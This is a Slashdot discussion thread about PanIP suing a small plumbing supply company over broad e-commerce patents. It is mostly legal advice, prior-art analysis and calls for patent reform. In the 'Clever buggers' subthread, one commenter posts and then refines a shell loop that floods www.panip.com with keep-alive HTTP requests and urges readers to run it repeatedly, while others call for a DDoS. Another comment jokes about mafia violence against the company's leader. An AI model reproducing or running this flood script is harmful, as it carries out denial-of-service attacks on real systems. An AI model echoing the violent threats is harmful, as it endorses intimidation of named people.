Under Attack by PanIP's Patent Lawyers?

Matthew Catalano, of the Dickson Supply Company, asks: "I work for a small plumbing, heating, irrigation, and BBQ supply house. Over the past four we have built up quite a website that houses tons of information and offers many products for sale via an online store. Recently a company known as PanIP has decided to sue us on 2 counts of patent infringement. To the best of my understanding, as you can see from their website, they claim that they invented the use of text and images as a method of business on the Internet. They also claim that they invented the use of a form to enter customer information. Obviously this is ridiculous and most likely won't hold up in court! However, this is not the problem. PanIP has also sued 10 other small companies. PanIP chose small companies because they hope that none of them can afford the legal fees that would ultimately remove their patents. Most defendants, including us, want to opt to bail out for a smaller licensing fee of $30,000. PanIP will continue this vicious cycle on small companies of which many of you may become victim of. Eventually they will have so many cases under their belt that they will be able to attack larger companies." Yet again, the USPTO is used as a weapon in the free market. When will someone get a clue and put a stop to this type of digital extortion?

"I am hoping to release this story to the press so that the US Patent office finally wakes up, but the media is unpredictable and unreliable in terms of which stories they encapsulate. If there is anyone out there who has any ideas about stopping PanIP or can help us out in any way it would be appreciated. Otherwise, just pass this along to everyone you know and hopefully something will come of it.

There is also a page we have constructed that reveals some more details."

Comments

Sue em back!

[kiick]

Get together with the other companies that they have sued and sue them back for restraint of trade or something like that. With the legal fees split 10-12 ways, it should be easier to defend yourselves.

Re:Sue em back!

[Flower]

(IANAL) Or get together and pay the fee to have the patent re-reviewed. iirc, this is between $15-50K but from what I've read if a patent survives re-review it is much stronger in court. A group of major players, including IBM, did that for the Y2K windowing patent.

btw, anybody know what happened with that issue? I haven't anything about the windowing patent for quite some time.

Re:Sue em back!

[hawk]

Hey, I got a kick out of that patent, having used the same technique in 1982 with a one digit window . . .

hawk

Re:Sue em back!

[jrp2]

Get together with the other companies that they have sued

Even better, get some of the big guys interested in this. There are a whole boatload of giant companies involved in e-commerce in some way that would probably take this case on to protect their own interests. The last thing these parasites would want would be Amazon or Sears legal teams crawling down their throats. The last thing Sears or Amazon would want to see is some kind of legal precedent bolstering these patents.

National business groups like the Chamber of Commerce, and there are probably similar groups specific to e-commerce, might find it in their interests to fund a challenge to this.

No point...

[InnovativeCX]

From the looks of their web site, it appears as if the sole purpose of the company is to patent 'inventions' without actually accopmlishing anything. I would feel sorry for anyone losing a court battle to a company such as this.

Counter sue

[Keeper]

Wouldn't you be able to counter sue for what it costs to defend such an accusation in court? Or something to that effect anyway?

counter sue

[mcmcaughan]

Represent yourself, go through with the lawsuit and then slap them with a counter law suit for your time, money and efforts. This case has got to be dismissed based on what you have told us about it.

Perhaps you and all the other victims could pool your resources and counter as a collective group to reclaim damages.

Re:When hell freezes over?

[tweakt]

Obviously, money talks

And apparently... bullshit walks. They're called patent attorneys.

Prior Art

[powerlinekid]

While don't your company and the other smaller pool together to fight back? That way since you're all being attacked on the same basis it'll save each of you money and maybe get a better lawyer. Obviously in the courts you guys will win just due to prior art, like the case recently where that company claimed that hyperlinking was their invention and it took an 80+ year old to say "umm, no we've been doing this for 30+ years". Also, licensing is not a good way to go because you will certainly be tied to them. Hell, maybe you guys can contact IBM's ebusiness department to see if they could lend any help in this case due to the fact that it would be in their best interest to not let this get out of hand. Just my 2 cents...

Re:Prior Art

[56ker]

"While don't your company and the other smaller pool together to fight back?" - does he actually have details of the other companies? If you read his post you'll find he wants to resolve it without the cost of a court case - reduced or otherwise. PanIP's underhand tactics rely on that fact. However we don't know if he's used any of PanIP's code in his website. For all we know the form he uses could be under their copyright.

Re:Prior Art

[56ker]

A (c) PanIP line in the code might be a giveaway. Or if the script just happened to be called something that one of their programs was. Alternatively you could just look up the patent (if there is one) instead.

Re:Prior Art

[leviramsey]

Come to think of it, that sounds like a good way to fight these frivolous patents: DDoS their servers...

Re:Prior Art

[Jobe_br]

At least one of the patents in question appears to be this one. (you may need a free registration to view)

I was only able to find one patent registered to Pangea (strange as they are an IP company ... you'd think they'd have a few more show up). In any case, this particular patent was applied for in '97, if I'm reading the application correctly. If that's indeed the case, prior art should hardly need an actual hearing.

Good luck!

This is a link to the same patent at USPTO. The filer is supposedly The Pangea Project LLC whereas PanIP appears to be named Pangea Intellectual Property ... dunno, quick inspection is all I have time for tonight!

Time for a major overhaul of patent law

[hettb]

Here is a plan for patent reform. I sent it (slightly modified) to my local congresscritter; if more peope did this, maybe we'd finally see a change.

consolidate your legal challenges

[MattW]

If it were me, I'd contact the other defendants, and see if everyone were willing to pitch in to front one company challenging the validity of the patents. I'd look for some blatant prior art, which should be trivially easy to find. IANAL, but I'd be looking to get a summary judgement based on a mountain of prior art, and I'd want to ask a lawyer if it would be possible to countersue for malicious prosecution or fraud. You might also want to contact your senators or representatives -- you might be able to get the USPTO to "independantly" re-review their patents (and obviously, subsequently revoke them)

ACLU, EFF, SLAPP

[interiot]

There are a few things that are specifically designed to remedy such predatory practices, aren't there?

If the case is somewhat novel, then the ACLU or EFF have pooled together funds from many people in order to be able to set good precendents.

If the suit will obviously fall in favor of the defendant, can't you get a good lawyer to file a SLAPP suit, and you won't have to pay the lawyer unless you win?

Re:ACLU, EFF, SLAPP

[axlrosen]

A SLAPP suit is a Strategic Lawsuit Against Public Participation, which doesn't really apply here. I doubt there's anything illegal about what they're doing. Even the patent would probably be overturned if it ever went to court, they were still granted a valid patent, which they can try to get people to license and threaten to sue them. That's exactly how it's supposed to work, but we see that it's not a perfect system.

Some questions:

[Computer!]

Can you contact the companies currently under attack? If you all banded to gether to create some sort of defense fund, you could head them off at the pass. The Courts don't take well to a plaintiff that brings the same frivilous lawsuit back to trial after they've had it thrown out of court once already. It might be expensive, but not $300,000 expensive (10 companies X $30,000 settlement).

What state are you in? is it the same as PanIP? They have to sue you in your home state, remember. At the very least, make the proceedings as expensive for them as possible.

Most importantly, do not settle. You will end up validating a thouroughly disgusting business plan.

Re:Some questions:

[apc]

What state are you in? is it the same as PanIP? They have to sue you in your home state, remember. At the very least, make the proceedings as expensive for them as possible.

This is completely incorrect. They can sue him in any state in which he his company does business, has shareholders, or is incorporated. A suit was once permitted against an insurance company in a state in which they had one customer (See McGee v. International Life Insurance Co., 355 US 220 [1957]).

To the person who posted the story-- please contact a lawyer in your jurisdiction. (Or the EFF or another public service organization) Given the possibility here for a countersuit for abuse of process, and potentially fraud, you might be able to get someone willing to take the case on contingency, if you can't afford legal fees and can't find someone willing to do it for free.

To the moderators: IAAL, though not a member of the patent bar.

While the above is legally correct to the best of my knowledge and experience, don't rely on it-- see a lawyer in your jurisdiction for legal information.

Re:Some questions:

[Anonymous Coward]

This is the poster of the original article. We've been trying to contact many of the companies but havn't recieved responses back as of yet. Teaming up is a good idea, and I think we have decided to pursue against the patent.

PanIP is in California, we are in New Jersey.

Supposedly they hired a consulting firm in NJ just to find people who may infringe on the patent. That must have been easy.

-Matt Catalano

Re:Some questions:

[Anonymous Coward]

Yes, we hired a lawyer in San Diego where the case was filed I believe.

All information we hold so far is at our site:

http://panipcase.homeip.net

-Matt Catalano

Re:Some questions:

[Cato]

Mod the parent up - link to information on PanIP case...

Also, I'd recommmend contacting the EFF, as others have suggested - this makes it easy for people to contribute to the fighting fund.

Re:Some questions:

[Computer!]

This is completely incorrect. They can sue him in any state in which he his company does business, has shareholders, or is incorporated.

So, only in states where his company does business or is incorporated? Wow, you were right, I was COMPLETELY INCORRECT. Boy, do I feel stupid.

Pfft. Lawyers.

Re:Some questions:

[apc]

You obviously don't understand the difference between what I said and what you replied.

Something like 90% of companies in the US, wherever they do business, are incorporated in Delaware. It is entirely possible-- in fact, entirely likely-- for a company to be incorporated in one state and do most of its business in another.

People don't always live in the states where their businesses are-- e.g.,lots of people who own businesses in NYC live in NJ or CT. For all we know, his company could be financed in part by his aunt in Dubuque, Iowa, even though he lives in California-- which would make him subject to suit in Iowa. And since his company does business on the net, that means that the company could be conceivably a defendant in all 50 states, depending on where goods are sold.

That's why the statement is completely incorrect. It's not a matter of "Pfft. Lawyers" (and I worked as a programmer and UNIX sysadmin for 5 years before going to law school, anyway-- I'm secure in my geek cred)-- it's a matter of an inaccurate statement by someone who doesn't know what they're talking about which could get someone in a lot of trouble if they rely on it. A default judgment in a state where you were subject to jurisdiction is going to cost you a lot of money in legal fees to try to overturn it, assuming that you don't end up owing the whole chunk of money because some self-anointed legal expert (who isn't a lawyer) on Slashdot told you that you could safely ignore it.

Re:Some questions:

[Computer!]

Something like 90% of companies in the US, wherever they do business, are incorporated in Delaware

I worked for a company that was based in New Jersey and incorporated in Delaware. So what? It was a sentence, a single sentence. "Home state" as opposed to "state in which you are incorporated or do business... etc, etc". The point was mostly the same. Nearly every word of every post could be argued the same way.

And, yes, "pfft. Lawyers", because, like a lawyer, you felt the need to argue a stupid point that no one but yourself still cared about. And when I said, "pfft. Lawyers", you even felt the need to respond to that. It'll probably kill you not to get the last word. That's assuming you don't reply of course. If you do, you're welcome to the last word. I'll just delete the message.

If this guy takes your advice, he's ill-advised, much less mine. I won't feel the least bit responsible if he gets his ass sued off because he took my comments word-for-word. Of course, it'll be a lawyer doing the suing either way, so who cares?

zerg

[Lord Omlette]

When will someone get a clue and put a stop to this type of digital extortion?

Easy:

Most defendants, including us, want to opt to bail out for a smaller licensing fee of $30,000.

When people stop making money by patenting fake things and suing people and making money.

but the media is unpredictable and unreliable in terms of which stories they encapsulate.

If you have a problem, if no one else can help you, and if you can get them to accept your submission, maybe you can hire ASK SLASHDOT!

Otherwise, just pass this along to everyone you know and hopefully something will come of it.

Chainmail! The solution to all of life's problems...

Re:zerg

[Darth_Burrito]

If you have a problem, if no one else can help you, and if you can get them to accept your submission, maybe you can hire ASK SLASHDOT!

Screw that, just hire BA to throw the bad guys helluva far. Besides, between all the phone commercials and other promos, it seems like the guy might be a little desperate for money.

Clever buggers

[mblase]

Their Web site is cleverly designed to use a minimum of text and graphics, as well as containing almost no actual information, making it very difficult to bring down by Slashdotting. They really are sneaky, aren't they?

Guess I'll just have to go do an old-fashioned DDoS instead....

Re:Clever buggers

[dattaway]

Surely this site that preaches Intellectual Property (tm) have some content on their site. Perhaps I haven't been looking in the right directories or ports, such as ftp, etc...

Time to start looking...

Re:Clever buggers

[BlueUnderwear]

The following script helps to make it even slower, especially if you have a big pipe: #!/bin/sh

while : ; do
echo GET /case-pat-cit.htm HTTP/1.1
echo Host: www.panip.com
echo Connection: keep-alive
echo
done | telnet www.panip.com 80 >/dev/null

Launch it early. Launch it often. Launch it in the background. Launch it in a loop. Vary the URL (after the GET).

And with a little bit of luck, they pay for their bandwidth, and won't have any money left for their lawsuits...

Re:Clever buggers

[suwain_2]

Do you think they really mean to have libc.so.1 up on their site? It sounds to me like whoever setup their webserver had no idea what they're doing; there's no reason why you'd need (want) to download libraries for Linux from a Patent Crap and Sue People comapny. Netcraft reports "The site www.panip.com is running Rapidsite/Apa/1.3.20 (Unix) FrontPage/4.0.4.3 mod_ssl/2.8.4 OpenSSL/0.9.6 on IRIX". (It's hosted at Verio.)

Leaving off the www gives "The site panip.com is running Web Servinator v0.3 (v.terbo) on FreeBSD." Their netblock is "E.D.G.E. Inc", in San Diego.

Note that I REALLY recommend that people NOT hack/DoS/otherwise mess with their site; that's only going to make things harder for the people they're suing. ("Your Honor, not only are these people violating our patent, but they're also deliberately causing massive DDoS attacks against our servers." Sure, that's a load of crap, but so's the lawsuit; the last thing they need is to try to defend themselves against two frivilous lawsuits, and the DoS thing would almost have some merit.

So my point is twofold:

• Their webhosting seems rather crappy
• You might think you're doing a favor by showing off your l33t hacking skills, but really, you're making things harder for the poor guy.

Re:Clever buggers

[Captain Large Face]

I have to agree -- this page is the largest on their web site, and it's only 54830 bytes. Still it is the largest, and would therefore be the best way to slashdot the site, wouldn't it?

Re:Clever buggers

[BlueUnderwear]

Actually, their web server closes keep-alive connections after a while. So better wrap this up inside a second loop:

while : ; do
while : ; do
echo GET /case-pat-cit.htm HTTP/1.1
echo Host: www.panip.com
echo Connection: keep-alive
echo
done | telnet www.panip.com 80 >/dev/null 2>/dev/null
done

Have fun!

Re:Clever buggers

[BlueUnderwear]

How would haxoring make things worse for the targeted businesses? PanIp would first need to show that their victims are somehow involved with the haxoring and ddosing. Which they are not, the acts would be done by independant third parties. And the businesses could probably even countersue for libel (or is that slander?) at those groundless accusations.

This is a battle which can be fought on many fronts. Remember the etoy vs etoys story? Etoys was not brought down in court (where they prevailed, if I remember correctly), but rather in the marketplace, by a massive consumer action (i.e. a boycott). Thus we can see that "non-standard" techniques can lead to a positive outcome and should not be dismissed too quickly.

Re:Clever buggers

[digitalunity]

You're gonna boycot lawsuits? Just not show up? What a novel idea. Maybe you should patent it.

No, this PanIP doesn't make any products and probably doesn't offer any services, you can't just boycot them. They are a lawsuit-financed company.

Re:Clever buggers

[BlueUnderwear]

"Online community" or someshit.

And if they had written a letter to the editor to a nationwide newspaper? Would that have create a "paper community" if ever one of the readers would decide to help along?

So, I'd say "First Amendment" or someheapofshit.

Re:Clever buggers

[Andrewkov]

Those links are broken ... maybe they've renamed the page after reading your post? ;-)

Re:Clever buggers

[Captain Large Face]

Page is offline -- doesn't link from their home page either..

What about MY patent?

[kcornia]

I patented the process of using the internet to search for unsuspecting small companies likely to fold under patent infringement lawsuits.

Might as well make that check out to me..

Re:What about MY patent?

[kcornia]

It just occurred to me.

Someone should submit a patent on patenting things, and see if it gets through. Use business speak, and lots of five dollar words, and I bet it gets granted.

How awesome would it be if someone was then able to sue the patent office for patent infringement!

Yeah, well, I can dream can't I?

Re:What about MY patent?

[kryzx]

That's what I said.

Three words...

[brogdon]

Call the EFF. The Electronic Frontier Foundation might be able to help you, and if not, they can certainly point you towards a good lawyer.

Fight 'em all the way.

Re:Three words...

[swb]

How about these three words? La Cosa Nostra.

Get somebody to have an informal conversation with PanIP's leader about the health benefits of leaving your company alone.

They should know that the benefits are many: continued orthapedic mobility, original dentition, full use of digits. It's a family plan, too -- his or her daughter or son retain the dignity and innocence they've always enjoyed. And it's an umbrella that can even extend to one's car, home and other prized personal possessions which are so often the victim of unplanned catastrophes like fires and explosions.

You would think that someone that would make a business out of patent enforcement would eventually run into someone who can play that game a lot better. Extortion and strong-arm tactics with lawyers is generally the gateway to extortion and strong-arm tactics with guys with funny accents and a bad sense of humor.

Re:Three words...

[geekoid]

you notice he's not going after any of Gotti's business...

Fight the patent

[Watcher]

File a contest of the patent with the PTO. That will probably cost about $8000, less than the cost of the fight against PanIP. Then countersue PanIP.

Either way, your lawyers should be quite capable at finding the prior art to stop this. I would strongly recommend that all of the companies being sued band together to kill the patents.

The RAMBUS approach.

[jmv]

This looks exactly like what RAMBUS have been doing with memory, although RAMBUS attacked big buisnesses right from the start. What sunk RAMBUS is that several companies (Infineon, Micron I think, ...) teamed together to defeat their patents. Eventually not only did they lose their patent claim on SDRAM and DDR, but I think they lost their money from the companies that caved in (Toshiba?, Hitashi?).

Maybe your company could join the others that were extorted money and try to prove that the patent claims have no ground. If everybody sues for punitive damage and fraud, there could even be money to gain... Of course, IANAL...

Safety in Numbers

[twfry]

It was stated that there are at least 10 other small companies being sued by this "company" and in the same situation. Do you know who they are? If so I'd suggest contacting them and seeing if they are interested in a group class action lawsuit for extortion.

It seems that your case is very strong and at least some of the other organizations will recognize this as well. Banding together with the other companies will 1) Reduce your legal fees 2) Strengthen your case 3) Give all of you more negotiating power with PanID.

IANAL

What Patents?

[Wanker]

It would be useful if in the discussion in the PanIP Case "threat" description they mentioned just which patents PanIP claims they have infringed.

You just might be able to get some useful pointers to prior art which could be used in your counter-suit.

Re:What Patents?

[Simon Brooke]

The patents appear to be United States Patent 6,289,319; US Patent 5,576,951; and US Patent 5,309,355; all registered in the name of Lawrence B. Lockwood, of 5935 Folsom Dr., La Jolla, CA 92037.

Re:What Patents?

[ninewands]

Well, I am not a member of the patent bar, but, having read through the claims in those three patents, it appears to me that two of them are subject to attack on the basis of prior art and one does not apply.

Specifically, 5,309,355 (filed in 1993) is a claim of originality that is quashed by evidence that American Airlines SABRE system went online in the early 80's (I forget exactly when it was but it was WELL before 1986), 5,576,951 appears to be a claim against all of computer networking in general (the first computer network communication occurred in 1967).

6,289,319 doesn't appear to relate to Dickson Supply's business because the claims there relate strictly to automatic screening of loan applications. Now if PanIP, LLC wants to take on Bank of America, Chase, Wells Fargo and ditek.com, that's their business, but I think those companies can raise a war chest exceeding what even Microsoft could raise.

When I first read this article, I didn't think this matter would be appropriate for class action treatment, but having read the patent claims, if PanIP thinks they can construe the claims broadly enough to cover Dickson Supply's business, then every single e-commerce site on the 'net is threatened. That class of Plaintiffs is DEFINITELY large enough to justify certification as a class.

I would STRONGLY recommend that you bring these lawsuits to the attention of some of the larger companies doing business on the web and see if they have an interest in attacking these ridiculous patents. Somebody has to do SOMETHING or the pain will never end!

two word answer:

[Xzzy]

The EFF

Isn't this the sort of thing the EFF exists for?

To everyone else, join the EFF and make a donation, because the lesson learned in this case is that small guys need big friends, and if all the small guys in the world banded together, bullying tactics like this wouldn't work. Someday you just might be the small guy.

Time to make this illegal...

[gweihir]

It is high time to make filing of patents that do not cover any real invention illegal. And it is high time that the USPTO is made legally responsible for damages caused by patents that are succesfully revoked.

Futhermore I think that patents on IT need to be granted or refused within a very short time or alternatively be automatically voided if the "invention" is in broad use when the patent is finally granted.

Interesstingly German patent law had the requirement that only inventions that are significantly more inventive than what an average expert can come up with could be patented at all. Sadly it seems that with the EU this is not valid for software patents anymore.

Re:Time to make this illegal...

[SocialWorm]

And it is high time that the USPTO is made legally responsible for damages caused by patents that are succesfully revoked.

What do you suggest doing to the USPTO? If you throw the people who inspect patents in jail, or fine them, you'll end up with fewer people reviewing patents, making the problem worse, not better. Fining the office as a whole wouldn't help either - the USPTO would either end up with a reduced budget, hence leading once again to forementioned problem, or their budget would expand appropraitely, increasing the federal budget in turn and raising taxes and/or the public debt.

Re:Time to make this illegal...

[cookd]

Perhaps not the USPTO office, per se. From what I can tell, they are doing the best they can, and their problems are being exploited by greedy businesses. However, the govnerment that has a constitutional mandate to provide a reasonable PTO should be responsible when it doesn't provide it and when citizens suffer as a consequence.

Reason tells me that the only way to solve this is by correcting the economic imbalances that exist: the cost of a thorough examination of a patent vs. the cost of applying for a patent; the cost of bringing a patent lawsuit/defending against a patent lawsuit vs. the benefits of doing so.

I would like to say that the price for patents should be jacked up to cover the actual cost of examining the patent. Then, the PTO could hire enough examiners to actually do the job. However, this might make it more difficult for Mr. Inventor to submit a perfectly valid patent, again giving the advantage to the big guy.

More than anything, the whole IP issue needs to be revised carefully. The problem is that I'm not sure that I trust the government to do the revising -- let them get involved, and the DMCA might happen all over again!

Re:Time to make this illegal...

[SocialWorm]

Then why not throw out the patent system outright? Either there's enough political power to do so or there isn't (and there isn't). No need trying to take the expensive, less effective, wayward route; that's one of the reasons our government is as screwed up as it is.

Re:Time to make this illegal...

[gotan]

If the folks of the USPTO were in the least responsible for patents they do grant they would be more careful about it, and, when in doubt not grant the patent. This is not about throwing them all in jail, but about motivating them to do their job. At the moment the USPTO profits by granting as many patents as possible and let the courts deal with it (shifting the job of examining the validity of patents to the courts, and the costs to the folks being sued). Since it should be the job of the parent office to examine the validity of patents they should have some motivation to do so. Also they should have some power to make their job possible. This could easily be done if it were possible that they refuse to grant patents on the grounds that the language is too complicated.

It should be obvious, that the current practice of US patent law hurts small businesses and startups most and generally slows down innovation. The only people who win by this are lawyers and scum like PanIP.

Loser pays

[meta-monkey]

Definately, this illustrates the need for patent law and patent office reform. However, I think it also identifies another fundamental weakness of the US civil courts: anybody can sue anybody else without real penalties, and make it so expensive to fight back that the victim better off settling. The court system is being used as an extortion racket.

Seems to me it would be worthwhile to adopt a "loser pays" system. PanIP would be free to sue this guy's company all they want, but when PanIP loses in court, they has to pay the other side's legal bills. Think of all the worthless lawsuits people file with lawyers who know they don't have a case, but are just throwing them out there to see who'll settle (*cough*JesseJackson*cough*). They're probably think twice about it, and make sure they actually have legal leg to stand on if they knew they'd have to foot the bill if they lose.

Re:Loser pays

[www.sorehands.com]

In Federal court there is "Rule 11" which provides damages to a defendant in a frivilous action. But to reach this determination is difficulat.

There is similar rules in many states.

Re:Loser pays

[realgone]

Seems to me it would be worthwhile to adopt a "loser pays" system.

Unfortunately, this would be just as open to abuse as the current system.

For one thing, most IP cases tend to linger for a good number of years. Can your Small Company X do without those several million dollars in legal costs till then? Probably not.

More importantly, it would set those daunting economic hurdles even higher. Let's suppose Small Company X was sued by a top-tier corporation (e.g. MSFT). If you thought mounting your own legal defense was expensive, just wait till you see how much *they* spend. Let's say you somehow lost and damages of only $1 were awarded (as has happened in any number of cases). You'd still lose the shirt off your back.

you're golden

[tps12]

It might be a big upfront cost, but if you can scrape the money together I'd say it's time for a countersuit. Although IANAL, it appears to me that this is a case you cannot lose. So think of the legal fees as a sound investment.

Even if you can't afford it, a public defender should suffice to clear you of these absurd charges.

Wow, even the name "PanIP" repulses me. Literally, it's "all intellectual property" or something. I don't even want to imagine what the people who own this company are like. Not the type you'd invite over to watch the game, that's for sure.

that's not their idea...

[The Locehiliosan]

"they claim that they invented the use of text and images as a method of business on the Internet"

Everyone knows it was Al Gore who invented that!!!

Re:that's not their idea...

[cyberformer]

No, Al Gore invented the Al-gor-ithm.

Call the folks at Amazon!

[aitala]

There is a simple solution - call the folks at Amazon and tell them about the patents. This affects they way they do business. Let them fight it out with PanIP.

Re:Call the folks at Amazon!

[Frank T. Lofaro Jr.]

Won't work.

PanIP can choose to enforce the patent any way they wish.

This means they can leave the big fish like Amazon alone (who in turn will leave PanIP alone) and only go after the little guys.

Unlike trademarks and trade secrets, non-enforcement of patents and copyrights DOES NOT waive the right to enforce them against other targets and/or at other times. It is NOT "use it or lose it" or "you must enforce it 'fairly'".

Re:Call the folks at Amazon!

[digitalunity]

Amazon and Priceline don't have to be sued to get involved. Let's say their own lawyers take up the suit on behalf of the defendant and do it pro-bono. They get to squash a bug before it even gets to them and probably do it for a lot less than they would if it actually made all the way to them.

It's just good business.

Contact the EFF

[RailGunner]

Contact the EFF and fight this. This is simply extortion.

Of course, there is also a chance that they don't really want to go to court either (since this has scam all over it), so tell them to go fuck themselves and see what they do.

someone should report this terrorist in!

[Billly Gates]

Your are either for the government( patent office) or for the terrorists. There is no in between. He is agaisnt the government so he is a terrorist. Just ask Jack Valentinni or Bill Gates about patents and they will tell you the truth. We need to protect intellectual property for the sake of our basic liberties. Please report such memebers to the FBi and think about our children.

Re:My patent

[tps12]

I've patented breathing air while programming.

Is this true?

I guess it's sad that I even have to ask...

:(

Loser Pays would go a long way towards fixing this

[gtwreck]

It's about time for some Tort Reform in the USA. Unfortunately, all the politicians are lawyers...

What is this crap?

[jsimon12]

This looks like a patent that would let them SUE any website that has a search function and sells anything online? What the hell is wrong with the patent office?

http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PT O2&Sect2=HITOFF&p=1&u=/netahtml/search-bool.html&r =1&f=G&l=50&co1=AND&d=ft00&s1=''5,576,951''.WKU.&O S=PN/"5,576,951"&RS=PN/"5,576,951"

Re:What is this crap?

[Artagel]

Depends how much of the material comes from the 1984 patent application. The applicants kept adding material, combining applications, etc, but appears to have gotten most of their raw material by 1993. The USPTO fought these people off for a long time -- 12 years.

The patent is probably not as broad as you were thinking. The term "means" is a very dangerous one for a patentee. See Chiuminatta Concrete Concepts, Inc. v. Cardinal Indus., Inc.

Re:Anti-SLAP laws

[Anonymous Coward]

No, not at all. "SLAPP" stands for "Strategic Lawsuit Against Public Participation." The purpose of SLAPP suits is to eliminate whistle-blowers and muckrakers who expose corporate misdeeds. SLAPP has nothing to do with restraint of trade or patent law. The only way anything in this case could fall under the anti-SLAPP laws is if PanIP sued the poster for slander.

And no, I'm not a lawyer, but I'm also not an idiot who just babbles nonsense without any idea about what he is talking.

EFF, and working with other targets

[billstewart]

You can often get legal costs covered if you win, which is one reason the EFF and similar groups can often afford to be helpful. A first-glance look by a non-lawyer says that either their patents are totally bogus for this application or they're covered by prior art. The first one I looked at mentioned being about "terminals" and a central processor, and that certainly shouldn't apply here. There are also some similarities to the BT Hyperlink patent nonsense. It's especially worth talking to the other targets of this abuse.

The patents do not apply

[gweihir]

Following the link at the end of the story, I get the strong impression that the patehts do not apply. Reasons:

1. "Web" does not imply "Video-screen". And it is certainly not the vendor that determines the method of display.
   
2. Nowhere does "web" imply "telephone line", as many (A)DSL, Cable and Cellphone-access users can testify.
   

Re:The patents do not apply

[gweihir]

DSL goes over a telephone line.

O.k. sorry, I was thinking to abstract. Occupational hazard I guess (I am a CompSci).

Of course DSL goes over the telefone wire. What I was thinking of is the telefone signals (300-3400Hz). DSL actually does a wire-sharing with the telephone signals.

That still leaves us cable-modem users. Definitely no phone in there.

Re:The patents do not apply

[sallen]

I'd certainly agree the patents don't seem to apply.

As with the BT hyperlink, this specifically mentions telephone line connections (and the judge, IIRC, has already indicated this probably won't fly). It seems also that it's taken what was used for interactive learning in the 80's, the interactive / computer controlled laser disk, and using that to provide the imaging and audio, probably to save significantly on transmission through modems (which it also mentions). It also gets into the nitty-gritty, even mentioning IBM PS/2, and various other devices. This seems like a nice idea 15+ yrs ago in a travel office to maybe let the customer or agent provide nice sales pics to a consumer. It simply sounds like a glorified Sabre or System One travel reservations system expanded a bit. It seems prior art alone, taking out laser disks, etc, would be the reservation systems themselves (the airlines the 'company' the travel agency the 'customer'). If you don't take out the laser disk then it doesn't apply either, since obviously the web went a different direction. (At least I don't large silver platters next to me to view every image through the web). (I actually WILL give credit to the guy who originally filed. In the early/mid 80's these patents provide a pretty interesting scenerio. Though today, the concept presented is totally antiquated.)

Even though IANAL, I'd definitely hope that the case is fought, maybe being able to consolidate all the cases into one for the judge, since there's no geographic representation concentrated in any area. (I find it interesting they think there's a continued business presence in So. Ca. unless this plumbing company is pretty big, I'd hope they could get it dismissed simply with the judge finding no continued business presence.. makey them fly all over the country if they want to).

My one BIG wish??? The judge would not only dismiss but find it so outside any consideration that the suit would be considered frivilous and the lawyer filing it (and clogging up his courtroom with this and the other 6 or so suits) would be taken to task professionally, with fees awarded to the defendants.

Just an afterthought. I wonder how much equipment mentioned under these patents can even be purchased these days? I haven't seen computer controlled laser disk systems for AGES

Re:The patents do not apply

[gweihir]

Not if AT&T has its way. One cable with everything, including phone. :-)

Yes, CABLECOM is announcing something like that as well here in CH (they just went bankrupt, so whether it will happen is another strory...).

But would it be a phoneline if the phone is the add-on and not the original reason for the line? I begin to understand why patent-law is difficult ;-)==)

But it makes for a great single-point-of-failure!

Re:The patents do not apply

[schussat]

It also gets into the nitty-gritty, even mentioning IBM PS/2, and various other devices.

Yeah, a lot of the particulars are really archaic. There are references to Telenet being the central phone system via which all these systems connect, the suitability of machines by IBM, NCR, and DEC for the hardware, and the use of Scotch laserdiscs for storage. It's weird stuff -- even for 1994, when this patent was issued.

-schussat

Sue the USPTO?

[bill_mcgonigle]

I'm so not a lawyer, so I ask: Can these guys sue the USPTO for issuing the bogus patent? It only seems fair to be able to recover court costs, at least.

Re:Sue the USPTO?

[Thalia]

Of course not. The PTO is a government agency and is thus insulated from lawsuit.

Reality is that you cannot prevent bogus lawsuits unless you start imposing punitive damages. Which, you may be able to get.

I would actually advise you to talk to some litigators, and see if you can convince someone to take it on pro-bono (for free) on the assumption that there will be a punitive damage award, and that PanIP will end up paying all the attorney's fees. (If the case is judged to be frivolous, attorneys fees may be awarded.)

Thalia

Re:Sue the USPTO?

[bill_mcgonigle]

Of course not. The PTO is a government agency and is thus insulated from lawsuit.

Aren't people always suing the government to prevent them from doing things, getting them to release papers, etc.? There are always FOIA suits, and Judical Watch just sued Cheney's office to get the Energy Policy information, IIRC. I seem to recall groups frequently suing the individuals in charge of the agencies to stay within regulations, but it's effectively a suit against the agency.

So, maybe they should sue the head of the USPTO, or the examiner?

Reality is that you cannot prevent bogus lawsuits unless you start imposing punitive damages. Which, you may be able to get.

Is the lawsuit bogus here, or the patent? They're suing for royalities on a legally issued (yet bogus) patent. Isn't the USPTO indirectly the arbiter of whether the case has merit?

Re:Sue the USPTO?

[Thalia]

No, actually the courts are the arbiter of whether this case has merit.

The PTO gets its chunk of change (~$2000) for examining the application, and seeing if the patents they have make it obvious. It is the applicants' duty to disclose all references they're aware of.

FOIA (Freedom of Information Act) suits force an agency to divulge how they came to a particular decision. In fact, the PTO's decision process is public. You, or anyone else, can order a copy fo the File Wrapper of the patent, including every interchange between the PTO and the Applicant. It's about 25 cents per page.

Thalia

Re:Sue the USPTO?

[bill_mcgonigle]

FOIA (Freedom of Information Act) suits force an agency to divulge how they came to a particular decision. In fact, the PTO's decision process is public. You, or anyone else, can order a copy fo the File Wrapper of the patent, including every interchange between the PTO and the Applicant. It's about 25 cents per page.

Right, I understand what FOIA suits are for, I was simply providing a counter-example to your assertion that one cannot sue the government.

Re:Sue the USPTO?

[zenyu]

In the US the federal government is protected from lawsuits by its constitution. Congress can allow citizens to sue it via acts like the the freedom of information act. (Or by abridging natural rights or
rights protected by the constitution itself.)

Pan IP should sue M$

[t0qer]

Doesn't IE consist of %90 of the browser market now? M$ obviously owns %90 of the delivery of panip's patent infringment, wake up man go where the money is! Hey PanIP I may not have a law degree but I can certainly tell you there's no sense in trying to squeeze blood from a turnip.

Let them know where we stand!

[AyeRoxor!]

Professionally and concisely contact them through one of the following venues, and let them know that their actions are being observed with disdain by thousands.

Please mod this up so Slashdot can continue to be the efficient political machine it often has been in the past. Just a simple call saying you dont like what they're doing, and mention the details of this situation, should be enough to make them think twice if everybody calls.

Here are the contacts, from http://www.panip.com/corpinfo.htm:

Mailing Address:
PanIP
329 Laurel Street
San Diego, California 92101-1630 USA

Telephone: 858-454-7095
Email: rmercado37@yahoo.com (really professional...)
Fax: 858-454-4358

The following lawyers help them in their tirade. CC and call them all. I'll begin with a copyable email list. The rest need to be contacted by phone:

webmaster@lyonlyon.com, kwalkerlaw@cox.net, info@chiresearch.com

